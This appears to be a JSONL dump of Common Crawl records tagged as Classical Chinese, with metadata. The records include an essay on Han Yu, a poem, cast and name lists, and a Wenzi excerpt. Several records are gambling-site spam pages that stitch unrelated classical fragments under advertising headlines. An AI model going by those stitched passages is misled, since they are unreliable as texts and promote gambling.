0.028586069121956825, \"zxx_Latn_score\": 0.021969756111502647, \"und_Tang_score\": 0.01993831992149353, \"nan_Hani_score\": 0.017673442140221596, \"jpn_Jpan_score\": 0.012247581966221333}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.288,"perplexity_score":500.0,"cluster_detection":1} +{"text":"商水县福连升老北京布鞋、休闲鞋品牌加盟店信息和商水县鞋店加盟方法介绍。\n河北 河间 沧州 湖南 邵东 邵阳 邯郸 漯河 河南 四川 攀枝花 内蒙古 赤峰 航空港 昭通 威信 云南 郑州 郭店 永州 双牌 红河 开远 姑苏区 江苏 苏州 安徽 天长 滁州 盐城","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.fuliansheng.com\/tags.php?\/1541\/","date":"2020-09-28T01:15:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600401583556.73\/warc\/CC-MAIN-20200928010415-20200928040415-00008.warc.gz","language":"lzh","language_score":0.4963161945,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.49631619453430176, \"cmn_Hani_score\": 0.47742682695388794, \"jpn_Jpan_score\": 0.019564013928174973}","num_words":31,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.496,"perplexity_score":500.0,"cluster_detection":1} +{"text":"應詔集韓愈論\n聖人之道,有趨其名而好之者,有安其實而樂之者。珠璣犀象,天下莫不好。奔走悉力,爭鬥奪取,其好之不可謂不至也。然不知其所以好之之實。至於粟米蔬肉桑麻布帛,天下之人內之於口,而知其所以為美,被之於身,而知其所以為安,此非有所役乎其名也。\n韓愈之於聖人之道,蓋亦知好其名矣,而未能樂其實。何者?其為論甚高,其待孔子、孟軻甚尊,而拒楊、墨、佛、老甚嚴。此其用力,亦不可謂不至也。然其論至於理而不精,支離蕩佚,往往自叛其說而不知。\n昔者宰我、子貢、有若更稱其師,以為生民以來未有如夫子之盛,雖堯舜之賢,亦所不及。其尊道好學,亦已至矣。然而君子不以為貴,曰:宰我、子貢、有若,智足以知聖人之汙而已矣。若夫顏淵豈亦云爾哉!蓋亦曰「夫子循循焉,善誘人」。由此觀之,聖人之道,果不在於張而大之也。韓愈者,知好其名,而未能樂其實者也。\n愈之原人曰:「天者,日月星辰之主也。地者,山川草木之主也。人者,夷狄禽獸之主也。主而暴之,不得其為主之道矣。是故聖人一視而同仁,篤近而舉遠。」夫聖人之所為異乎墨者,以其有別焉耳。今愈之言曰「一視而同仁」,則是以待人之道待夷狄,待夷狄之道待禽獸也,而可乎?教之使有能,化之使有知,是待人之仁也。不薄其禮而致其情,不責其去而厚其來,是待夷狄之仁也。殺之以時,而用之有節,是待禽獸之仁也。若之何其一之。儒墨之相戾,不啻若胡越。而其疑似之間,相去不能以髮。宜乎愈之以為一也。孔子曰:「泛愛眾而親仁。」仁者之為親,則是孔子不兼愛也。祭神如神在,神不可知,而祭者之心以為如其存焉,則是孔子不明鬼也。\n儒者之患,患在於論性,以為喜怒哀樂皆出於情,而非性之所有。夫有喜有怒,而後有仁義;有哀有樂,而後有禮樂。以為仁義禮樂皆出於情而非性,則是相率而叛聖人之教也。老子曰:「能嬰兒乎?」喜怒哀樂,茍不出乎性而出乎情,則是相率而為老子之「嬰兒」也。\n儒者或曰老、易,夫易,豈老子之徒歟?而儒者至有以老子說易,則是離性以為情者,其弊固至此也。嗟夫,君子之為學,知其人之所長而不知其蔽,豈可謂善學耶。","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/www.xn--5rtnx620bw5s.tw\/i\/i04\/7050.htm","date":"2021-09-20T22:35:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057119.85\/warc\/CC-MAIN-20210920221430-20210921011430-00609.warc.gz","language":"lzh","language_score":0.5849739313,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.584973931312561, \"cmn_Hani_score\": 0.36778634786605835, \"nan_Hani_score\": 0.03158580884337425}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.717,"perplexity_score":500.0,"cluster_detection":1} +{"text":"訪古思天塹,江聲戰鼓中。\n全家知轉鬭,健婦笑臨戎。\n汗馬歸諸將,疲驢念兩宮。\n淒涼岳少保,宿艸起秋風。\n行在倉黃日 提兵過故鄉\n傳聞同父老 流涕說君王\n石馬心猶壯 雲臺跡巳荒\n一环堪漬酒 殘日下平岡\n詔起祁連塚 豐碑有賜亭\n掛弓關塞月 埋劍羽林星\n百戰黃龍艦 三江白石銘\n趙家金椀出 山鬼哭冬靑\n丘壟今蕪没 江山竟寂寥\n松風吹北固 碑雨洗南朝\n細路牛羊上 荒岡草木凋\n肻容樵豎擾 遺恨在金焦","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E9%81%8E%E9%9F%93%E8%98%84%E7%8E%8B%E5%A2%93","date":"2023-09-23T14:18:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506481.17\/warc\/CC-MAIN-20230923130827-20230923160827-00720.warc.gz","language":"lzh","language_score":0.4171379507,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4171379506587982, \"cmn_Hani_score\": 0.37274405360221863, \"yue_Hani_score\": 0.11454605311155319, \"jpn_Jpan_score\": 0.0643056109547615, \"nan_Hani_score\": 0.022965367883443832}","num_words":28,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.19,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.433,"perplexity_score":500.0,"cluster_detection":1} +{"text":"陈方 莫愁 张慧娴 唐菁 鹿瑜 麦玲 李溯 陈青 白平 王莱 刘恩甲 沈月华 马剑棠 白冰 高翔 唐迪 洪虹 马笑侬 容蓉 李琳琳 田青\n<聊斋志异>由三个短篇<狐谐>,<婴宁>及<花姑>组成,开创短篇古装国语电影的先河.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/mideshasha.com\/play\/61DCAAA06A8308CEEA3FD45364263D52EFA337763F4AA7CE?title=%E8%81%8A%E6%96%8B%E5%BF%97%E5%BC%82","date":"2023-12-10T01:32:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100989.75\/warc\/CC-MAIN-20231209233632-20231210023632-00774.warc.gz","language":"lzh","language_score":0.4890973866,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.48909738659858704, \"cmn_Hani_score\": 0.4459368884563446, \"wuu_Hani_score\": 0.04758305475115776}","num_words":22,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.288,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.489,"perplexity_score":500.0,"cluster_detection":1} +{"text":"可选中1个或多个下面的关键词,搜索相关资料。也可直接点\"搜索资料\"搜索整个问题。\n待把相思灯下诉,一缕新欢,旧恨千千缕,最是人间留不住,朱颜辞镜花辞树。\n展开全部朱妍妍 朱方杰 朱桦 朱文慧 朱苓 朱德芹 朱秀华 朱皓天 朱刚 朱国光 朱海琴 朱钧秀 朱子玉 朱俊秀 朱沐灵 朱沐轩 朱凌辰 朱祖伟 朱燕 朱宁银 朱艳 朱焰 朱岩 朱雁 朱言 朱焉 朱胭 朱明新 朱旗 朱宇凯 朱文蓉 朱弨瑷 朱彩萍 朱静洁 朱祎平 朱颖 朱彦颖 朱彦阳 朱璐银 朱璐琛 朱璐宁 朱沁璐 朱锦璐 朱宁璐 朱丹 朱璐洁 朱炳谕 朱玲林 朱静媛 朱丽英 朱理斌 朱志红 朱苏晋 朱艺青 朱星燃 朱秀雨 朱一诺 朱思诺 朱立君 朱磊 朱俪君 朱美臻 朱毅 朱容基 朱春来 朱令尧 朱利君 朱蓉 朱哲 朱浙 朱威 朱涣 朱丽珺 朱耀 朱洙 朱强 朱志伟 朱君逸 朱浩 朱泽 朱瀚 朱瀚宇 朱吉 朱海 朱美燕 朱国利 朱伟 朱贺 朱玉曦 朱芸 朱琳 朱洵 朱红英 朱云 朱浔 朱锦 朱晔 朱澈 朱彻 朱茵 朱江洲 朱莉亚 朱宇 朱渝 朱莉雅 朱凡 朱平 朱泽平 朱泽文 朱妮 朱玲叶 朱化 朱玲 朱新民 朱廷宗 朱仁献 朱廷佐 朱艳清 朱耀毅 朱文晶 朱炳刚 朱昱静 朱国祥 朱成泰 朱立 朱廷俞 朱高 朱泳锌 朱同 朱铮铮 朱振驰 朱聚 朱刚烽 朱俞烽 朱承 朱熹 朱仲祥 朱奕 朱怿 朱泳锓 朱炎 朱延 朱昭俞 朱研 朱炳祥 朱焱 朱今 朱泓宇 朱苡柔 朱向彤 朱雪邻 朱妍颜 朱正 朱馨颜 朱彦萱 朱静若 朱馨若 朱作玲 朱冰钰 朱馨钰 朱啸天 朱雪霖 朱槿钰 朱笑天 朱孝天 朱员慧 朱槿 朱罡毅 朱苡倩 朱雪麟 朱若彤 朱漪倩 朱相凤 朱雪林 朱漪莲 朱雪临 朱璋卉 朱庆凤 朱盈 朱周伟 朱佳琪 朱雪 朱雪琳 朱一琳 朱芷倩 朱胤之 朱雪域 朱泰山 朱丽娟 朱雪荔 朱茜 朱雪玲 朱熙 朱雪灵 朱蕾 朱芳蝶 朱铠文 朱家旺 朱军 朱宏 朱杰 朱雨沫 朱学军 朱晓乐 朱轩扬 朱嘉炜 朱君涛 朱淑艳 朱纯 朱思尧 朱龙根 朱卫 朱弈好 朱书岐 朱迎君 朱赫 朱艳平 朱子珊 朱静 朱芳颖 朱可欣 朱煜 朱烨 朱治 朱莲英 朱安然 朱帆 朱瑞 朱天然 朱志 朱硕 朱旭超 朱旭鹏 朱澄 朱艳丽 朱小宝 朱唯 朱略 朱海泉 朱达 朱汇集 朱思诲 朱彦 朱国日 朱宝 朱序 朱席宽 朱晓熙 朱骏辉 朱国晋 朱诩 朱晓燕 朱建群 朱蓄 朱益欣 朱汇令 朱紫青 朱青 朱书华 朱进 朱爱秋 朱乐怡 朱茜影 朱新华 朱嘉怡 朱晔怡 朱心怡 朱欣怡朱宝玉 朱雪怡 朱雪仪 朱仙珍 朱思怡 朱鼎 朱然 朱陆 朱胜军 朱黎昂 朱伦 朱畅 朱培元 朱云丽 朱桥 朱维 朱纯宝 朱玉英 朱桂霞 朱红霞 朱洪生 朱丹若 朱丰博 朱静月 朱群秀 朱万丰 朱益群 朱静萱 朱乐垚 朱静渲 朱景凯 朱家慧 朱丽叶 朱雅若 朱若雅 朱姝 朱瑾钰 朱本根 朱建府 朱樱若 朱燕洪 朱相龙 朱洪财 朱语涵 朱万荣 朱岫影 朱影萱 朱津津 朱桢懿 朱丽莹 朱雅涓 朱汶镈 朱潋月 朱静璇 朱远星 朱婧雅 朱隽怡 朱婧彤 朱静娴 朱雅月 朱友全 朱承言 朱蕊彤 朱奕瑾 朱蕊桢 朱立斌 朱漪萱 朱佳璇 朱佳颜 朱潋钰 朱玉蓉 朱馨蕊 朱语箴 朱语桢 朱若伶 朱佳彤 朱瑾娴 朱芊柔 朱禹檀 朱漪芊 朱智慧 朱佳萱 朱白洹 朱京多 朱佳妍 朱春生 朱佳诺 朱芸瑶 朱意若 朱雅诺 朱绮月\n朱州瑜 朱宝以 朱任喜 朱佩来 朱典勇 朱光峰 朱玲以 朱小坚 朱光东 朱邦月 朱圣霖 朱顺茹 朱君钰 朱纯霖 朱明彬 朱妙淑 朱虹云 朱杰新 朱雯裕 朱克音 朱白泰 朱昆苹 朱璇舜 朱世桂 朱羽军 朱兴威 朱湖琪 朱介奇 朱羽然 朱宁孜 朱冰能 朱廷全 朱行隆 朱惟城 朱辛青 朱谷昀 朱以年 朱慧财 朱琬阳 朱欢伯 朱芝书 朱亦俊 朱蓉恬 朱茂容 朱城平 朱世如 朱屏如 朱恩康 朱典虹 朱明花 朱利峰 朱禾治 朱冰惟 朱宛钰 朱宥珊 朱筠平 朱姵辛 朱尹天 朱台玫 朱俐义 朱一阳 朱纹映 朱协善 朱清岳 朱玮帆 朱嘉湖 朱百雨 朱展舜 朱汉音 朱丰淳 朱玄志 朱梦慧 朱新秋 朱志轩 朱元妹 朱台韦 朱乃泰 朱亦洁 朱睿莹 朱念盛 朱凌启 朱天元 朱欢定 朱月钰 朱奕均 朱添迪 朱必昀 朱姿慧 朱喜霖 朱吉睿 朱和孜 朱正定 朱诚盈 朱琇玫 朱以卿 朱希花 朱雯珍 朱原杰 朱刚珠 朱菁安 朱隆男 朱裕竹 朱沛洋 朱佐琦 朱成俐 朱佩乐 朱秀萍 朱忠爱 朱仕廷 朱琦平 朱怡奇 朱宪蓁 朱杰辛 朱宏映 朱永昀 朱海美 朱又毓 朱若苓 朱纬喜 朱秀强 朱昭新 朱白琬 朱志蓉 朱财育 朱重琳 朱孟中 朱城吉 朱左州 朱旺嘉 朱月治 朱伸屏 朱冠玉 朱如乔 朱皓智 朱如昀 朱泰泉 朱雨乔 朱祥珍 朱山一 朱子柏 朱英军 朱枝忠 朱亚洁 朱宛萱 朱治玮 朱力羽 朱卉妤 朱佩群 朱皇易 朱石亨 朱瑜哲 朱圣刚 朱蓉辉 朱俞天 朱仁年 朱琬莹 朱淳哲 朱青莹 朱予伟 朱姵雯 朱城谷 朱宥云 朱姵安 朱坚祯 朱学婷 朱聿合 朱登芷 朱登亨 朱芸昀 朱吟云 朱伦慧 朱麟 朱仪恩 朱勋琦 朱灿紫 朱亚治 朱佐昆 朱沛惠 朱玮竹 朱聿洁 朱学奇 朱聿名 朱必佳 朱珊年 朱佐瑜 朱登良 朱能全 朱柔其 朱芸坤 朱展纬 朱仕青 朱恒岳 朱城郁 朱秀岳 朱善真 朱芝玫 朱秋文 朱云妮 朱雅星 朱昀利 朱郁纬 朱靖豪 朱峻昌 朱茜宣 朱呈杰 朱秉芷 朱然凌 朱登屏 朱弘沛 朱汉禾 朱勋刚 朱旺城 朱君琴 朱恒绿 朱恒吉 朱佐淳 朱诚星 朱元芸 朱彬淑 朱江萍 朱函沛 朱吉杰 朱芳霖 朱雅人 朱湖雨 朱心筠 朱采法 朱函吉 朱喜昌 朱宇贞 朱尧筠 朱致沛 朱为易 朱姵妏 朱佳雄 朱禾名 朱茂夫 朱杰宁 朱淑劭 朱洋州 朱嘉毓 朱芳佩 朱良俐 朱夫珍 朱木奇 朱旺月 朱义宣 朱迪恭 朱虹和 朱泓钰 朱玲香 朱如全 朱天凯 朱妮琦 朱康治 朱婷佳 朱胤亨 朱志珍 朱书桦 朱友芸 朱东泰 朱乃靖 朱奕恭 朱羽卿 朱典士 朱毓博 朱英琬 朱凤威 朱政桦 朱甫洋 朱吟桂 朱茵贞 朱博妏 朱皓刚 朱淑仲 朱辛倩 朱瑜莹 朱恩俐 朱富定 朱祥音 朱秋书 朱圣尧 朱均绮 朱秉映 朱善琳 朱采福 朱贵利 朱石平 朱友坚 朱阿瑜 朱忠南 朱湖宜 朱州来 朱佐文 朱安凌 朱白玟 朱义法 朱祯德 朱翰迪 朱立彦 朱迪尧 朱贞茂 朱坚元 朱江诚 朱亨俊 朱湖仲 朱鸿夫 朱宇枝 朱若毓 朱尧辉 朱纹凌 朱明星 朱于信 朱宣孝 朱亮靖 朱灿谕 朱雨杰 朱宸茜 朱于人 朱城达 朱纬旺 朱宏蓉 朱薇玉 朱升名 朱呈菱 朱明铭 朱柏盛 朱仁汉 朱祥俊 朱韦源 朱倩安 朱燕映 朱丹芳 朱梦侑 朱华廷 朱瑞宸 朱真天 朱紫毓 朱合冰 朱茵佩 朱行均 朱聿珠 朱水斌 朱丰谦 朱昱吉 朱佩慧 朱桂博 朱世恩 朱水义 朱兴善 朱紫帆 朱屏铭 朱丹佩 朱妤麟 朱皇旺 朱莹妤 朱育恩 朱靖人 朱又治 朱芸俊 朱薇盈 朱民宸 朱邦昆 朱修顺 朱儒映 朱姿萱 朱蕙安 朱琬皓 朱振芷 朱于茂 朱桓谦 朱辛书 朱哲惟 朱坚恩 朱皓安 朱屏靖 朱能桓 朱平琪 朱宣富 朱喜原 朱峻佳 朱凌纯 朱采泰 朱昀玉 朱萱玲 朱人松 朱威廷 朱百新 朱宏仲 朱重竹 朱妍琪 朱苓刚 朱博梦 朱凌杰 朱洋荣 朱升英 朱人姗 朱贤元 朱安成 朱珍祯 朱冠倩 朱绮智 朱韵泰 朱介昌 朱姿姗 朱子玉 朱茜迪 朱尧成 朱美东 朱睿泉 朱为苓 朱采以 朱柏香 朱书柏 朱旺俐 朱皇民 朱康岳 朱白明 朱音友 朱辰辉 朱心伸 朱莹芸 朱祥菁 朱贵旺 朱民祥 朱启嘉 朱琇群 朱义禾 朱佳彦 朱振琇 朱吟修 朱奇意 朱菁华 朱劭香 朱玫宏 朱均生 朱屏芬 朱仲泉 朱丞绿 朱威美 朱任佩 朱山妏 朱孜月 朱刚乔 朱元尧 朱岑博 朱胤瑞 朱春恬 朱圣治 朱爱以 朱珍江 朱妙屏 朱吟昀 朱呈谕 朱均雯 朱屏平 朱子成 朱瑞祯 朱青贞 朱雅书 朱珊强 朱孝伦 朱利法 朱财紫 朱伸安 朱之依 朱光依 朱扬皓 朱采山 朱宁辛 朱宪皓 朱上帆 朱诚士 朱竹彬 朱枝中 朱伯秀 朱真谦 朱亦定 朱聿毓 朱宪友 朱其源 朱纬霞 朱琦萱 朱吟杰 朱翰南 朱亭谷 朱吉生 朱亦 朱台睿 朱慧谦 朱子育 朱海岳 朱添盛 朱婷洋 朱初迪 朱辛辉 朱仪劭 朱柔孝 朱佩蓁 朱桓菁","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/www.qynlyw.com\/vnsweinisichengguanwangdengru\/2019\/1022\/22.html","date":"2020-01-26T17:15:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251690095.81\/warc\/CC-MAIN-20200126165718-20200126195718-00006.warc.gz","language":"lzh","language_score":0.3948396742,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.39483967423439026, \"wuu_Hani_score\": 0.3682100474834442, \"cmn_Hani_score\": 0.16318941116333008, \"nan_Hani_score\": 0.07220929861068726}","num_words":860,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.257,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.404,"perplexity_score":500.0,"cluster_detection":1} +{"text":"棋牌游戏黄金城天量解禁定增折价近半白银有色如何解压\n献公立七年,初行为市。十年,为户籍相伍。\n上官大夫与之同列,争宠而心害其能。怀王使屈原造为宪令,屈平属草\n彊梧赤奋若六年。\n腊月,陈王之汝阴,还至下城父,其御庄贾杀以降秦。陈胜葬砀,谥曰隐王。\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/xpadc.andreas-krebs.com\/BGHTA59868.html","date":"2020-02-24T15:47:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145960.92\/warc\/CC-MAIN-20200224132646-20200224162646-00558.warc.gz","language":"lzh","language_score":0.5352553725,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5352553725242615, \"cmn_Hani_score\": 0.15781879425048828, \"zxx_Latn_score\": 0.04225412756204605, \"yue_Hani_score\": 0.02584393136203289, \"nan_Hani_score\": 0.02543213590979576, \"und_Yiii_score\": 0.021642742678523064, \"und_Tang_score\": 0.015635650604963303, \"und_Hira_score\": 0.011695895344018936, \"und_Egyp_score\": 0.011344545520842075, \"jpn_Jpan_score\": 0.011217281222343445}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.373,"perplexity_score":500.0,"cluster_detection":1} +{"text":"德赢体育vwin外媒土耳其军队撤离叙利亚多处驻地并烧毁阵地\n乡人饮酒,杖者出,斯出矣。\n第二十六回 袁本初败兵折将 关云长挂印封金\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将\n不流世俗,不争埶利,上下无所凝滞,人莫之害,以道之用。作滑稽列传第六十六。\n却说姜维见魏延踏灭了灯,心中忿怒,拔剑欲杀之。孔明止之曰:\"此吾命当绝,非文长之过也。\"维乃收剑。孔明吐血数口,卧倒床上,谓魏延曰:\"此是司马懿料吾有病,故令人来探视虚实。汝可急出迎敌。\"魏延领命,出帐上马,引兵杀出寨来。夏侯霸见了魏延,慌忙引军退走。延追赶二十余里方回。孔明令魏延自回本寨把守。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/fbgml.szgydq.com\/BFOLK32386.html","date":"2020-02-24T21:30:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145981.35\/warc\/CC-MAIN-20200224193815-20200224223815-00048.warc.gz","language":"lzh","language_score":0.4369763136,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4369763135910034, \"cmn_Hani_score\": 0.3413448929786682, \"nan_Hani_score\": 0.11341741681098938, \"jpn_Jpan_score\": 0.017382515594363213, \"wuu_Hani_score\": 0.013135558925569057, \"yue_Hani_score\": 0.011772803962230682}","num_words":8,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.612,"perplexity_score":500.0,"cluster_detection":1} +{"text":"澳门海立方官网原油价格暴跌催生当前最赚钱的生意特朗普听了都吃惊\n今韩氏以一女子奉一弱主,内有大乱,外交彊秦魏之兵,王以为不亡乎?韩亡,秦有郑地,与大梁鄴,王以为安乎?王欲得故地,今负彊秦之亲,王以为利乎?\n简公六年,令吏初带剑。堑洛。城重泉。十六年卒,子惠公立。\n尊立卫皇后,及发燕王定国阴事,盖偃有功焉。大臣皆畏其口,赂遗累千金。人或说偃曰:\"太横矣。\"主父曰:\"臣结发游学四十馀年,身不得遂,亲不以为子,昆弟不收,宾客弃我,我\n二十七年,鲁湣公母曰哀姜,桓公女弟也\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/mip.mfxhp.com\/lstyy\/11716.html","date":"2020-04-08T01:51:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371807538.83\/warc\/CC-MAIN-20200408010207-20200408040707-00479.warc.gz","language":"lzh","language_score":0.634886682,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6348866820335388, \"cmn_Hani_score\": 0.16539940237998962, \"nan_Hani_score\": 0.05894728749990463, \"yue_Hani_score\": 0.01595868542790413, \"zxx_Latn_score\": 0.014949002303183079, \"und_Tang_score\": 0.011815139092504978}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.284,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n楊明 高海寧 陳曉華 姜大衛 馬海倫 李成昌 莊思敏 黃祥興 容天佑 樓嘉豪 何啓南 朱敏瀚 於洋 董敬文 楊玉梅 陳狄克 蔡國威 李豪 關梓陽 吳嘉儀 彭翔翎 曾慧雲 劉桂芳 蘇麗明 黃梓瑋 尹詩沛 梁珈詠 陳俊堅 蔡康年 王俊棠 秦啓維 鄧以婷 容羨媛 譚偉權 馮奕森 葉蒨文 朱斐斐 周梓盈 陳嘉慧\n田蕊妮 曹永廉 李思捷 李國麟 韋家雄 林凱恩 李綺雯 羅天宇 林師傑 餘思霆 林宣妤 尹詩沛 徐玟晴 李君妍 白雲 梁芷珮 陳俊堅 王致迪 丘梓謙 丁樂鍶 曹思詩 麥皓兒 黃雪兒 蓋世寶 馮素波 胡楓 李楓 李霖恩 易智遠 張漢斌 梁珈詠 陳偉洪 何佩珉 董敬文 周志康 陳靖雲 劉宸熙 袁文傑 梁茵 劉天龍 陳榮峻 盧峻峯 吳沚默 陳嘉嘉 王樹熹 區明妙\n陳松伶 陳煒 黃智賢 徐榮 江嘉敏 陳瀅 餘德丞 林韋辰 楊卓娜 鄭敬基 盧宛茵 程可爲 邵卓堯 徐玟晴 陳榮峻 譚永浩 吳珮如 張漢斌 遊莨維 曾健明 區靄玲 魏惠文 易智遠 戴耀明 關梓陽 李興華 杜大偉 黃得生 範仲恆 莊思明 吳香倫 趙樂賢 湯俊明 陳俊堅 陳嘉輝 沈可欣 吳瑞庭 楊證樺 吳嘉儀 潘冠霖 布偉傑 譚偉權 黃穎君 梁雯蔚 莫家淦 周寶霖\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/nonovod.com\/search\/-%E9%99%B3%E4%BF%8A%E5%A0%85------------.html","date":"2020-10-29T02:40:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107902683.56\/warc\/CC-MAIN-20201029010437-20201029040437-00446.warc.gz","language":"lzh","language_score":0.4674268365,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4674268364906311, \"cmn_Hani_score\": 0.421379953622818, \"nan_Hani_score\": 0.09771044552326202, \"yue_Hani_score\": 0.012315409258008003}","num_words":134,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.554,"perplexity_score":500.0,"cluster_detection":1} +{"text":"文 子\n群書治要卷三十五\n道 原\n夫至人之治也。弃其聰明。滅其文章。依道廢智。與民同出乎公。約其所守。寡其所求。去其誘慕。除其嗜欲。損其思慮。約其所守即察矣。寡其所求即得矣。\n水之性欲清。沙石穢之。人之性欲平。嗜欲害之。唯聖人能遺物反己。不以智(本書智作身)役物。不以欲滑和。是以高而不危。安而不傾也。故聽善言便計。雖愚者知悦之。稱聖德高行。雖不肖者知慕之。悦之者衆而用之者寡。慕之者多而行之者少。\n精 